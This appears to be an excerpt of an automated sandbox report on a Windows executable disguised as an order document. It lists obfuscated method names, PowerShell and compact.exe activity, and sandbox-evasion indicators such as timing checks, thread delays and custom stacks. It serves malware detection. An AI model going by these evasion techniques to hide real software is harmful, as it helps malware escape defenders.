Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, M9EhpapaLJXqtHovTI.cs	High entropy of concatenated method names: 'LB2WOC0vKd', 'gxFWLGxcOd', 'zevWpphlcS', 'AYBWwBqABy', 'H7WWFSVrqy', 'eAmWn0CPOU', 'LnWWTTlmjB', 'ngyWUjriDU', 'ksAWJPLoKR', 'xOBWiREsmc'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, LSsALD7k0xoq1ICkoe.cs	High entropy of concatenated method names: 'tOH1fTeCn3', 'PBn1K13X6j', 'un91RBxDJS', 'LWR1akLpun', 'rFr1CXR8Wv', 'xkM1esRiWY', 'dDt16xZq02', 'g7k1oLaZv3', 'QJh1ZMVTsG', 'WR91qeYbsK'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, oZDxN9X20Mgb54aR6pJ.cs	High entropy of concatenated method names: 'tHONfNL4Ct', 'VPdNKmw5Kk', 'aIMNRNoNPk', 'i1PNahuEeD', 'pJSNC6jfZk', 'O66NeUeL4m', 'QOPN6RcP64', 'cPDNoUslBd', 'QT6NZtiW5C', 'TccNqv8eCT'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, o26AjyZyl3gqQ7oXg6.cs	High entropy of concatenated method names: 'T2QuaAVOq5', 'pR0ue4OQLQ', 'XJKuoFxnNH', 'HmmuZ63kFp', 'rI9uWpu18R', 'H8Xuv42bSQ', 'tdJu8pYTZN', 'KAMuVCo5qt', 'lAguNwjToc', 'DtuudfXIOt'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, GL6gb9sBp7fYqEvq2Q.cs	High entropy of concatenated method names: 'KkiVxEvJ3F', 'KpiV4Uv6ke', 'ioBVuG2auq', 'HXlVb33PMn', 'NUsVtT8Ega', 'kk5V1N03Zj', 'JekVA2et5Q', 'dQbVlFGkfH', 'GfUVBXHQhc', 'yEiVYRgcUO'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, fEPxOLqyxV0ISeYYpd.cs	High entropy of concatenated method names: 'hEmbCiojYN', 'MDib6DjB6I', 'LsLunYOHtF', 'kwOuTHb6Q3', 'qN4uUXAaGk', 'QRhuJKagdx', 'NehuiMuG7Q', 'HL1u5I7oSS', 'kFHu7k0mIY', 'LcCuORBMxF'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, l7GCTdzeZ7vklkKi9T.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OlgNPlIuCu', 't46NW6QBH7', 'vdoNvjFq0f', 'MpXN8jHfsl', 'UuyNV7sA5q', 'IflNNWJBJ9', 'GjhNdnLcpt'

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	File created: \art_spec. 4008670601 aztek order _ 7.3.2024.exe
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	File created: \art_spec. 4008670601 aztek order _ 7.3.2024.exe
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	File created: \art_spec. 4008670601 aztek order _ 7.3.2024.exe	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	File created: \art_spec. 4008670601 aztek order _ 7.3.2024.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\compact.exe	API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\compact.exe	API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\compact.exe	API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\compact.exe	API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\compact.exe	API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\compact.exe	API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\compact.exe	API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\compact.exe	API/Special instruction interceptor: Address: 7FFDB442DA44

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: 2790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: 4790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: 7A40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: 8A40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: 8C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: 9C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: 9F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: AF90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: BF90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: D060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: E060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: F060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Memory allocated: F760000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Code function: 5_2_013F096E rdtsc

5_2_013F096E

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5097	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2162	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Window / User API: threadDelayed 3386	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Window / User API: threadDelayed 6586	Jump to behavior

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	API coverage: 0.7 %
